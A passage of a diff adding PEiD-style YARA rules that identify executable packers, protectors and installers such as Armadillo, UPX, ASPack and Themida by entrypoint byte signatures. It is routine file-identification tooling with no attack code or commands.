+	condition:
+		$0 at entrypoint
+}
+rule _InstallShield_Archive_
+{
+	meta:
+		description = "InstallShield Archive"
+	strings:
+		$0 = {2A AB 79 D8}
+	condition:
+		$0 at entrypoint
+}
+rule _Zprotect_V1400V140X__lifeengines__20081019_
+{
+	meta:
+		description = "Zprotect V1.4.0.0-V1.4.0.X -> lifeengines * 20081019"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 E0 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 E0 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 C0 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Silicon_Realms_Install_Stub_
+{
+	meta:
+		description = "Silicon Realms Install Stub"
+	strings:
+		$0 = {55 8B EC 6A FF 68 ?? 92 40 00 68 ?? ?? 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 ?? ?? 40 00 33 D2 8A D4 89 15 ?? ?? 40 00 8B C8 81 E1 FF 00 00 00 89 0D ?? ?? 40 00 C1 E1 08 03 CA 89 0D ?? ?? 40 00 C1 E8 10 A3}
+		$1 = {55 8B EC 6A FF 68 ?? 92 40 00 68 ?? ?? 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 ?? ?? 40 00 33 D2 8A D4 89 15 ?? ?? 40 00 8B C8 81 E1 FF 00 00 00 89 0D ?? ?? 40 00 C1 E1 08 03 CA 89 0D ?? ?? 40 00 C1 E8 10 A3 ?? ?? 40 00 33 F6 56 E8 ?? ?? 00 00 59 85 C0 75 08 6A 1C E8 B0 00 00 00 59 89 75 FC E8 ?? ?? 00 00 FF 15 ?? 91 40 00 A3 ?? ?? 40 00 E8 ?? ?? 00 00 A3 ?? ?? 40 00 E8 ?? ?? 00 00 E8 ?? ?? 00 00 E8 ?? ?? FF FF 89 75 D0 8D 45 A4 50 FF 15 ?? 91 40 00 E8 ?? ?? 00 00 89 45 9C F6 45 D0 01 74 06 0F B7 45 D4 EB 03 6A 0A 58 50 FF 75 9C 56 56 FF 15 ?? 91 40 00 50 E8 ?? ?? FF FF 89 45 A0 50 E8 ?? ?? FF FF 8B 45 EC 8B 08 8B 09 89 4D 98 50 51 E8 ?? ?? 00 00 59 59 C3 8B 65 E8 FF 75 98 E8 ?? ?? FF FF 83 3D ?? ?? 40 00 01 75 05}
+		$2 = {55 8B EC 6A FF 68 ?? 92 40 00 68 ?? ?? 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 ?? ?? 40 00 33 D2 8A D4 89 15 ?? ?? 40 00 8B C8 81 E1 FF 00 00 00 89 0D ?? ?? 40 00 C1 E1 08 03 CA 89 0D ?? ?? 40 00 C1 E8 10 A3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _Armadillo_v430__440__Silicon_Realms_Toolworks_
+{
+	meta:
+		description = "Armadillo v4.30 - 4.40 -> Silicon Realms Toolworks"
+	strings:
+		$0 = {55 8B EC 6A FF 68 40 ?? ?? 00 68 80 ?? ?? 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 88 ?? ?? 00 33 D2 8A D4 89 15 30 ?? ?? 00 8B C8 81 E1 FF 00 00 00 89 0D 2C ?? ?? 00 C1 E1 08 03 CA 89 0D 28 ?? ?? 00 C1 E8 10 A3 24 ?? ?? 00 33 F6 56 E8 78 16 00 00 59 85 C0 75 08 6A 1C E8 B0 00 00 00 59 89 75 FC E8 43 13 00 00 FF 15 8C ?? ?? 00 A3 24}
+		$1 = {60 E8 00 00 00 00 5D 50 51 0F CA F7 D2 9C F7 D2 0F CA EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 9D 0F C9 8B CA F7 D1 59 58 50 51 0F CA F7 D2 9C F7 D2 0F CA EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 9D 0F C9 8B CA F7 D1 59 58 50 51 0F CA F7 D2 9C F7 D2 0F CA EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PseudoSigner_02_Borland_Delphi_Setup_Module_
+{
+	meta:
+		description = "PseudoSigner 0.2 [Borland Delphi Setup Module"
+	strings:
+		$0 = {55 8B EC 83 C4 90 53 56 57 33 C0 89 45 F0 89 45 D4 89 45 D0 E8 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Jam_211_EXE_
+{
+	meta:
+		description = "Jam 2.11 [EXE]"
+	strings:
+		$0 = {50 06 16 07 BE 22 02 8B FE B9 12 01 FD FA F3 2E A5 FB 06 BD 78 00 55 CB BE 00 00 8B FE BD 00 00 55 8D 9E 00 00 8D 97 00 00 B9 00 00 80 EF 10 8E DB 80 EE 10 8E C2 F3 A5 B5 80 3B DD 77 EE 33 C9 BE 00 00 8B FE 8E DA 8E C3 FC BA 01 00 EB 5E 5D}
+	condition:
+		$0 at entrypoint
+}
+rule _NeoLite_v200_
+{
+	meta:
+		description = "NeoLite v2.00"
+	strings:
+		$0 = {E9 ?? ?? FF FF ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 6B 65 72 6E 65 6C 33 32}
+		$1 = {8B 44 24 04 23 05 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 04 FE 05 ?? ?? ?? ?? 0B C0 74}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _HSI_JPEG_graphics_file_
+{
+	meta:
+		description = "HSI JPEG graphics file"
+	strings:
+		$0 = {68 73 69 31 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_1061b_DLL_
+{
+	meta:
+		description = "ASPack 1.061b [DLL]"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED EA A8 43 00 B8 E4 A8 43 00 03 C5 2B 85 78 AD 43 00 89 85 84 AD 43 00 80 BD 6E AD 43 00 00 75 15 FE 85 6E AD 43 00 E8 1D 00 00 00 E8 73 02 00 00 E8 0A 03 00 00 8B 85 70 AD 43 00 03 85 84 AD 43 00 89 44 24 1C 61 FF}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v110b1_
+{
+	meta:
+		description = "PECompact v1.10b1"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 28 63 40 ?? 87 DD 8B 85 AD 63}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v285_
+{
+	meta:
+		description = "Armadillo v2.85"
+	strings:
+		$0 = {55 8B EC 6A FF 68 68 ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 28 ?? ?? ?? 33 D2 8A D4 89 15 24}
+		$1 = {55 8B EC 6A FF 68 68 ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 28 ?? ?? ?? 33 D2 8A D4 89 15 24}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _RLPack_V111__ap0x_
+{
+	meta:
+		description = "RLPack V1.11 -> ap0x"
+	strings:
+		$0 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 4A 02 00 00 8D 9D 11 01 00 00 33 FF EB 0F FF 74 37 04 FF 34 37 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75 EB}
+		$1 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 4A 02 00 00 8D 9D 11 01 00 00 33 FF EB 0F FF 74 37 04 FF 34 37 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75 EB}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PCGuard_303__305__Blagoje_Ceklic_
+{
+	meta:
+		description = "PC-Guard 3.03 - 3.05 -> Blagoje Ceklic"
+	strings:
+		$0 = {55 50 E8 00 00 00 00 5D EB 01 E3 60 E8 03 00 00 00 D2 EB 0B 58 EB 01 48 40 EB 01}
+	condition:
+		$0 at entrypoint
+}
+rule _EZIP_v10_
+{
+	meta:
+		description = "EZIP v1.0"
+	strings:
+		$0 = {E9 19 32 00 00 E9 7C 2A 00 00 E9 19 24 00 00 E9 FF 23 00 00 E9 1E 2E 00 00 E9 88 2E 00 00 E9 2C}
+		$1 = {E9 19 32 00 00 E9 7C 2A 00 00 E9 19 24 00 00 E9 FF 23 00 00 E9 1E 2E 00 00 E9 88 2E 00 00 E9 2C}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _DBPE_v210_
+{
+	meta:
+		description = "DBPE v2.10"
+	strings:
+		$0 = {9C 60 E8 CA ?? ?? ?? 03 ?? 04 ?? 05 ?? 06 ?? 07 ?? 08}
+		$1 = {9C 6A 10 73 0B EB 02 C1 51 E8 06 ?? ?? ?? C4 11 73 F7 5B CD 83 C4 04 EB 02 99 EB FF 0C 24 71 01 E8 79 E0 7A 01 75 83 C4 04 9D EB 01 75 68 5F 20 40 ?? E8 B0 EF FF FF 72 03 73 01 75 BE}
+		$2 = {EB 20 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 9C 55 57 56 52 51 53 9C E8 ?? ?? ?? ?? 5D 81 ED ?? ?? ?? ?? EB 58 75 73 65 72 33 32 2E 64 6C 6C ?? 4D 65 73 73 61 67 65 42 6F 78 41 ?? 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C ?? 53 6C 65 65 70 ?? 47 65 74 54 69 63 6B 43 6F 75 6E 74}
+		$3 = {EB 20 ?? ?? 40 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 9C 55 57 56 52 51 53 9C E8 ?? ?? ?? ?? 5D 81 ED ?? ?? ?? ?? 9C 6A 10 73 0B EB 02 C1 51 E8 06 ?? ?? ?? C4 11 73 F7 5B CD 83 C4 04 EB 02 99 EB FF 0C 24 71 01 E8 79 E0 7A 01 75 83}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint or $3 at entrypoint
+}
+rule _PseudoSigner_01_LTC_13_
+{
+	meta:
+		description = "PseudoSigner 0.1 [LTC 1.3"
+	strings:
+		$0 = {54 E8 00 00 00 00 5D 8B C5 81 ED F6 73 40 00 2B 85 87 75 40 00 83 E8 06 E9}
+		$1 = {54 E8 00 00 00 00 5D 8B C5 81 ED F6 73 40 00 2B 85 87 75 40 00 83 E8 06 E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Armadillo_v275a_
+{
+	meta:
+		description = "Armadillo v2.75a"
+	strings:
+		$0 = {55 8B EC 6A FF 68 68 ?? ?? ?? 68 D0 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 28 ?? ?? ?? 33 D2 8A D4 89 15 24}
+		$1 = {55 8B EC 6A FF 68 68 ?? ?? ?? 68 D0 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 28 ?? ?? ?? 33 D2 8A D4 89 15 24}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Shrink_10_
+{
+	meta:
+		description = "Shrink 1.0"
+	strings:
+		$0 = {50 9C FC BE 1F 01 BF 00 7E 57 B9 34 00 F3 A4 8B 0E 1C 01 BE 52 01 BF E8 80 F3 A4 C3 00 00 00 BE E8 80 8B 0E 1C 01 8A 26 1E 01 BF 00 01 57 AC 3A C4 74 10 8A D8 AA E2 F6 5B 9D 58 53 8B D9 8B F1 8B F9 C3 AC 0A C0 74 ED 49 86 C3 AA FE CB 75 FB}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v252_
+{
+	meta:
+		description = "Armadillo v2.52"
+	strings:
+		$0 = {55 8B EC 6A FF 68 ?? ?? ?? ?? E0 ?? ?? ?? ?? 68 D4 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF ?? ?? ?? 15 38}
+		$1 = {55 8B EC 6A FF 68 E0 ?? ?? ?? 68 D4 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 38}
+		$2 = {55 8B EC 6A FF 68 ?? ?? ?? ?? B0 ?? ?? ?? ?? 68 60 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF ?? ?? ?? 15 24}
+		$3 = {55 8B EC 6A FF 68 ?? ?? ?? ?? E0 ?? ?? ?? ?? 68 D4 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF ?? ?? ?? 15 38}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint or $3 at entrypoint
+}
+rule _Loader_for_Dos_Extender_by_Doug_Hoffmann_
+{
+	meta:
+		description = "Loader for Dos Extender by Doug Hoffmann"
+	strings:
+		$0 = {0E 1F 8C C6 B4 4A 50 BB FF FF CD 21 73 C1 58 CD 21 72 BC 03 DE 8B EB B8 21 35 CD 21 06 53 56 B8 87 16 CD 2F 0B C0 75 C9 B8 00 16 CD 2F A8 7F 75 07 E8 51 00 66 C1 CD 10 B8 87 16 CD 2F 80 F9 03 0F 82 16 00 55 68 C0 00 66 5D 80 E3 01 74 9D 66}
+	condition:
+		$0 at entrypoint
+}
+rule _Thinstall_Virtualization_Suite_30493080__Thinstall_Company_
+{
+	meta:
+		description = "Thinstall Virtualization Suite 3.049-3.080 -> Thinstall Company"
+	strings:
+		$0 = {9C 60 68 53 74 41 6C 68 54 68 49 6E E8 00 00 00 00 58 BB 37 1F 00 00 2B C3 50 68 ?? ?? ?? ?? 68 00 2C 00 00 68 04 01 00 00 E8 BA FE FF FF E9 90 FF FF FF CC CC CC CC CC CC CC 55 8B EC 83 C4 F4 FC 53 57 56 8B 75 08 8B 7D 0C C7 45 FC 08 00 00 00 33 DB BA 00}
+		$1 = {9C 60 68 53 74 41 6C 68 54 68 49 6E E8 00 00 00 00 58 BB 37 1F 00 00 2B C3 50 68 ?? ?? ?? ?? 68 00 2C 00 00 68 04 01 00 00 E8 BA FE FF FF E9 90 FF FF FF CC CC CC CC CC CC CC 55 8B EC 83 C4 F4 FC 53 57 56 8B 75 08 8B 7D 0C C7 45 FC 08 00 00 00 33 DB BA 00 00 00 80 43 33 C0 E8 19 01 00 00 73 0E 8B 4D F8 E8 27 01 00 00 02 45 F7 AA EB E9 E8 04 01 00 00 0F 82 96 00 00 00 E8 F9 00 00 00 73 5B B9 04 00 00 00 E8 05 01 00 00 48 74 DE 0F 89 C6 00 00 00 E8 DF 00 00 00 73 1B 55 BD 00 01 00 00 E8 DF 00 00 00 88 07 47 4D 75 F5 E8 C7 00 00 00 72 E9 5D EB}
+		$2 = {9C 60 68 53 74 41 6C 68 54 68 49 6E E8 00 00 00 00 58 BB 37 1F 00 00 2B C3 50 68 ?? ?? ?? ?? 68 00 2C 00 00 68 04 01 00 00 E8 BA FE FF FF E9 90 FF FF FF CC CC CC CC CC CC CC 55 8B EC 83 C4 F4 FC 53 57 56 8B 75 08 8B 7D 0C C7 45 FC 08 00 00 00 33 DB BA 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _Vaccine_103__110_
+{
+	meta:
+		description = "Vaccine 1.03 - 1.10"
+	strings:
+		$0 = {FA 33 DB B9 00 00 0E 1F 33 F6 FC AD 35 00 00 03 D8 E2 F8 81 FB 00 00 74 42 E8 26 00 94 A0 A9 AB 20 A8 A7 AC A5 AD A5 AD 21 20 8F E0 AE A4 AE AB A6 A0 E2 EC 20 28 79 2F 6E 29 3F 20 07 24 00 01 00 00 B4 09 5A 8B F2 CD 21 C6 04 02 B4 0A CD 21}
+	condition:
+		$0 at entrypoint
+}
+rule _PeX_099_
+{
+	meta:
+		description = "PeX 0.99"
+	strings:
+		$0 = {60 E8 01 00 00 00 E8 83 C4 04 E8 01 00 00 00 E9 5D 81 ED D5 22 40 00 E8 06 02 00 00 E8 EB 08 EB 02 CD 20 FF 24 24 9A 66 BE 47 46 E8 01 00 00 00 9A 59 8D 95 27 23 40 00 E8 01 00 00 00 69 58 66 BF 4D 4A E8 C1 01 00 00 8D 52 F9 E8 01 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Reg2Exe_222223__by_Jan_Vorel_
+{
+	meta:
+		description = "Reg2Exe 2.22/2.23 - by Jan Vorel"
+	strings:
+		$0 = {6A 00 E8 2F 1E 00 00 A3 C4 35 40 00 E8 2B 1E 00 00 6A 0A 50 6A 00 FF 35 C4 35 40 00 E8 07 00 00 00 50 E8 1B 1E 00 00 CC 68 48 00 00 00 68 00 00 00 00 68 C8 35 40 00 E8 76 16 00 00 83 C4 0C 8B 44 24 04 A3 CC 35 40 00 68 00 00 00 00 68 A0 0F 00 00 68 00 00 00 00 E8 EC 1D 00 00 A3 C8 35 40 00 E8 62 1D 00 00 E8 92 1A 00 00 E8 80 16 00 00 E8 13 14 00 00 68 01 00 00 00 68 08 36 40 00 68 00 00 00 00 8B 15 08 36 40 00 E8 71 3F 00 00 B8 00 00 10 00 BB 01 00 00 00 E8 82 3F 00 00 FF 35 48 31 40 00 B8 00 01 00 00 E8 0D 13 00 00 8D 0D EC 35 40 00 5A E8 F2 13 00 00 68 00 01 00 00 FF 35 EC 35 40 00 E8 84 1D 00 00 A3 F4 35 40 00 FF 35 48 31 40 00 FF 35 F4 35 40 00 FF 35 EC 35 40 00 E8}
+		$1 = {6A 00 E8 2F 1E 00 00 A3 C4 35 40 00 E8 2B 1E 00 00 6A 0A 50 6A 00 FF 35 C4 35 40 00 E8 07 00 00 00 50 E8 1B 1E 00 00 CC 68 48 00 00 00 68 00 00 00 00 68 C8 35 40 00 E8 76 16 00 00 83 C4 0C 8B 44 24 04 A3 CC 35 40 00 68 00 00 00 00 68 A0 0F 00 00 68 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Fish_PE_Shield_116__HellFish_
+{
+	meta:
+		description = "Fish PE Shield 1.16 -> HellFish"
+	strings:
+		$0 = {60 E8 EA FD FF FF FF D0 C3 8D 40 00 ?? 00 00 00 2C 00 00 00 ?? ?? ?? 00 ?? ?? 00 00 ?? ?? ?? 00 00 ?? ?? 00 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? 00 00 00 00 ?? ?? 00 00 10 00 00 ?? ?? ?? 00 40 ?? ?? ?? 00 00 ?? ?? 00 00 ?? ?? 00 ?? ?? ?? 00 40 ?? ?? ?? 00 00 ?? 00 00 00 ?? ?? 00 ?? ?? 00 00 40}
+	condition:
+		$0 at entrypoint
+}
+rule _CrypKey_V56X_DLL__Kenonic_Controls_Ltd_
+{
+	meta:
+		description = "CrypKey V5.6.X DLL -> Kenonic Controls Ltd."
+	strings:
+		$0 = {8B 0C 24 E9 C0 8D 01 ?? C1 3A 6E CA 5D 7E 79 6D B3 64 5A 71 EA}
+		$1 = {8B 1D ?? ?? ?? ?? 83 FB 00 75 0A E8 ?? ?? ?? ?? E8}
+		$2 = {8B 1D ?? ?? ?? ?? 83 FB 00 75 0A E8 ?? ?? ?? ?? E8}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _UPX_051_PE_
+{
+	meta:
+		description = "UPX 0.51 [PE]"
+	strings:
+		$0 = {60 E8 00 00 00 00 58 83 E8 3D 50 8D B8 00 00 00 FF 57 8D B0 D8 01 00 00 83 CD FF 31 DB 90 90 90 90 01 DB 75 07 8B 1E 83 EE FC 11 DB 73 0B 8A 06 46 88 07 47 EB EB 90 90 90 B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 77 EF 75}
+	condition:
+		$0 at entrypoint
+}
+rule _Escargot_01_final__ppMeat_
+{
+	meta:
+		description = "Escargot 0.1 (final) -> ++Meat"
+	strings:
+		$0 = {EB 04 40 30 2E 31 60 68 61 ?? ?? ?? 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 B8 92 ?? ?? ?? 8B 00 FF D0 50 B8 CD ?? ?? ?? 81 38 DE C0 37 13 75 2D 68 C9 ?? ?? ?? 6A 40 68 00 ?? 00 00 68 00 00 ?? ?? B8 96 ?? ?? ?? 8B 00 FF D0 8B 44 24 F0 8B 4C 24 F4 EB 05}
+		$1 = {EB 04 40 30 2E 31 60 68 61 ?? ?? ?? 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 B8 92 ?? ?? ?? 8B 00 FF D0 50 B8 CD ?? ?? ?? 81 38 DE C0 37 13 75 2D 68 C9 ?? ?? ?? 6A 40 68 00 ?? 00 00 68 00 00 ?? ?? B8 96 ?? ?? ?? 8B 00 FF D0 8B 44 24 F0 8B 4C 24 F4 EB 05 49 C6 04 01 40 0B C9 75 F7 BE 00 10 ?? ?? B9 00 ?? ?? 00 EB 05 49 80 34 31 40 0B C9 75 F7 58 0B C0 74 08 33 C0 C7 00 DE C0 AD 0B BE ?? ?? ?? ?? E9 AC 00 00 00 8B 46 0C BB 00 00 ?? ?? 03 C3 50 50}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _nSpack_V31__LiuXingPing_
+{
+	meta:
+		description = "nSpack V3.1 -> LiuXingPing"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 5D 83 ED 07 8D 9D ?? ?? ?? ?? 8A 03 3C 00 74}
+	condition:
+		$0 at entrypoint
+}
+rule _PEtite_v14_
+{
+	meta:
+		description = "PEtite v1.4"
+	strings:
+		$0 = {66 9C 60 50 8B D8 03 ?? 68 54 BC ?? ?? 6A ?? FF 50 14 8B CC}
+	condition:
+		$0 at entrypoint
+}
+rule _ExeBundle_v30_small_loader_
+{
+	meta:
+		description = "ExeBundle v3.0 (small loader)"
+	strings:
+		$0 = {00 00 00 00 60 BE 00 F0 40 00 8D BE 00 20 FF FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11}
+		$1 = {00 00 00 00 60 BE 00 F0 40 00 8D BE 00 20 FF FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _DzA_Patcher_13_Loader_
+{
+	meta:
+		description = "DzA Patcher 1.3 Loader"
+	strings:
+		$0 = {BF 00 40 40 00 99 68 48 20 40 00 68 00 20 40 00 52 52 52 52 52 52 52 57 E8 15 01 00 00 85 C0 75 1C 99 52 52 57 52 E8 CB 00 00 00 FF 35 4C 20 40 00 E8 D2 00 00 00 6A 00 E8 BF 00 00 00 99 68 58 20 40 00 52 52 68 63 10 40 00 52 52 E8 DB 00 00 00 6A FF FF 35}
+	condition:
+		$0 at entrypoint
+}
+rule _Themida_18xx__Oreans_Technologies_
+{
+	meta:
+		description = "Themida 1.8.x.x -> Oreans Technologies"
+	strings:
+		$0 = {B8 ?? ?? ?? ?? 60 0B C0 74 68 E8 00 00 00 00 58 05 53 00 00 00 80 38 E9 75 13 61 EB 45 DB 2D 37 ?? ?? ?? FF FF FF FF FF FF FF FF 3D 40 E8 00 00 00 00 58 25 00 F0 FF FF 33 FF 66 BB 19 5A 66 83 C3 34 66 39 18 75 12 0F B7 50 3C 03 D0 BB E9 44 00 00 83 C3 67}
+		$1 = {B8 ?? ?? ?? ?? 60 0B C0 74 68 E8 00 00 00 00 58 05 53 00 00 00 80 38 E9 75 13 61 EB 45 DB 2D 37 ?? ?? ?? FF FF FF FF FF FF FF FF 3D 40 E8 00 00 00 00 58 25 00 F0 FF FF 33 FF 66 BB 19 5A 66 83 C3 34 66 39 18 75 12 0F B7 50 3C 03 D0 BB E9 44 00 00 83 C3 67 39 1A 74 07 2D 00 10 00 00 EB DA 8B F8 B8 ?? ?? ?? ?? 03 C7 B9 ?? ?? ?? ?? 03 CF EB 0A B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 50 51 E8 84 00 00 00 E8 00 00 00 00 58 2D 26 00 00 00 B9 EF 01 00 00 C6 00 E9 83 E9 05 89 48 01 61 E9}
+		$2 = {B8 ?? ?? ?? ?? 60 0B C0 74 68 E8 00 00 00 00 58 05 53 00 00 00 80 38 E9 75 13 61 EB 45 DB 2D 37 ?? ?? ?? FF FF FF FF FF FF FF FF 3D 40 E8 00 00 00 00 58 25 00 F0 FF FF 33 FF 66 BB 19 5A 66 83 C3 34 66 39 18 75 12 0F B7 50 3C 03 D0 BB E9 44 00 00 83 C3 67}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _Armadillo_v200b2200b3_
+{
+	meta:
+		description = "Armadillo v2.00b2-2.00b3"
+	strings:
+		$0 = {55 8B EC 6A FF 68 00 F2 40 00 68 C4 A0 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+		$1 = {55 8B EC 6A FF 68 00 F2 40 00 68 C4 A0 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _RLPack_FullEdition_V120V121_LZMA_430__ap0x_
+{
+	meta:
+		description = "RLPack FullEdition V1.20-V1.21 (LZMA 4.30) -> ap0x"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 56 69 72 74 75 61 6C 46 72 65 65 00 00 56 69 72 74 75 61 6C 50 72 6F 74 65 63 74 00 00 00 10 00 00 08 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Warning_may_be_RCryptor_by_Vaska_unknown_ver__21032006_2318_
+{
+	meta:
+		description = "Warning! may be RCryptor by Vaska unknown ver  (21.03.2006 23:18)"
+	strings:
+		$0 = {C0 14 13 74 06 80 30}
+	condition:
+		$0 at entrypoint
+}
+rule _Patch_Creation_Wizard_v12_Byte_Patch_
+{
+	meta:
+		description = "Patch Creation Wizard v1.2 Byte Patch"
+	strings:
